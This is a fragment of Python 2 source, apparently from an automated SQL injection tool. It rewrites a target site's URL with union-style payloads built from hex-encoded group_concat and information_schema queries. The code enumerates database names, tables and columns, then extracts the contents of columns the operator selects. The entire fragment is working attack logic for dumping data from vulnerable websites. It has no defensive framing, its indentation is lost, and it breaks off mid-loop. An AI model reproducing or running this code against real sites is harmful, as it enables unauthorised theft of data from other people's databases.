def names(site):
site = site.replace("@@version","unhex(hex(group_concat(0x3c,0x74,0x61,0x62,0x6c,0x65,0x20,0x73,0x74,0x79,0x6c,0x65,0x3d,0x22,0x77,0x69,0x64,0x74,0x68,0x3a,0x32,0x39,0x25,0x22,0x3e,schema_name,0x3c,0x2f,0x74,0x61,0x62,0x6c,0x65,0x3e)))")
site = site.replace("--","+from+information_schema.schemata--")
the_page = get_the_page(site,"2")
db_names = s_data.search_for(the_page)
print_cols_tables(db_names,'Databases')
return(db_names)
def search_in_columns(site, table, based, database):
site = site + table + "--" + based
the_page = get_the_page(site, "2")
columns_found = s_data.search_for(the_page)
total_cols = len(columns_found)
if total_cols:
print_cols_tables(columns_found, 'Columns Found')
table = table.decode("hex")
site = site.replace(
"information_schema.columns+WHERE+table_name=0x" +
table.encode("hex") + "--", database + '.' + table + "--")
columns = raw_input("Give the columns: ")
selected_columns = []
for column in columns_found:
if column in columns:
selected_columns.append(column)
site = site.replace("column_name", "%s,/**/" % selected_columns[0])
for i in range(1, len(selected_columns)):
site = site.replace(
",/**/,0x3c,0x2f,0x74,0x61,0x62,0x6c,0x65,0x3e,",
",0x3c,0x2f,0x74,0x61,0x62,0x6c,0x65,0x3e,0x3c,0x74,0x61,0x62,0x6c,0x65,0x20,0x73,0x74,0x79,0x6c,0x65,0x3d,0x22,0x77,0x69,0x64,0x74,0x68,0x3a,0x32,0x39,0x25,0x22,0x3e,%s,/**/,0x3c,0x2f,0x74,0x61,0x62,0x6c,0x65,0x3e,"
% selected_columns[i])
site = site.replace(",/**/", '')
site = site.replace(",0x3e0x0a", ",0x3e,0x0a")
the_page = get_the_page(site, "2")
total_data = []
total_data = s_data.search_for(the_page)
if not len(total_data):
print "No data found!"
else:
print_data(total_data, selected_columns, table)
ans=dbs.working_db(site)
if ans=='1':
ans=raw_input("On which Database you want to work on?: ")
while ans not in dbs_names:
ans=raw_input("Wrong Input!\nOn which Database you want to work on?: ")
site=replaces.repl(site,2,ans)
the_page=get_the_page(site,"2")
tables=s_data.search_for(the_page)
if len(tables)==0:
print "Could not get the tables, program will exit."
exit()
print_cols_tables(tables,'Tables Found')
site=replaces.repl(site,3,ans)
site=site.replace(based,'')
flag = 1
site1 = site
while flag==1:
print "Give the table: "
table_choose=raw_input(">>> ")
while not(table_choose in tables):
print "Wrong input. Give the table: "
table_choose=raw_input(">>> ")
table_choose=table_choose.encode("hex")
site=site1+table_choose+"--" + based
the_page=get_the_page(site,"2")